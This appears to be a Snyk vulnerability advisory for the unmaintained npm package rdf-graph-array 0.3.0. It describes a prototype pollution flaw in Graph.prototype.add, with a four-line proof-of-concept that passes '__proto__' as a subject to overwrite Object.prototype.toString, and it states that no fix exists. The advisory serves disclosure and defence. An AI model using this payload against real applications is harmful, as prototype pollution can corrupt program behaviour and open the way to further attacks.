rdf-graph-array@0.3.0 vulnerabilities

Graph implementation using arrays

Direct Vulnerabilities

Known vulnerabilities in the rdf-graph-array package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

rdf-graph-array is a Graph implementation using arrays. Note: This package is no longer maintained.

Affected versions of this package are vulnerable to Prototype Pollution. The rdf.Graph.prototype.add method could be tricked into adding or modifying properties of Object.prototype using a prototype payload.

PoC by JHU System Security Lab

var Graph = require("rdf-graph-array").Graph;
var g = new Graph();
g.add({graph: "foo", subject: "__proto__", "predicate": "toString", "object": "JHU"});
console.log({}.toString);

How to fix Prototype Pollution?

There is no fixed version for rdf-graph-array.

*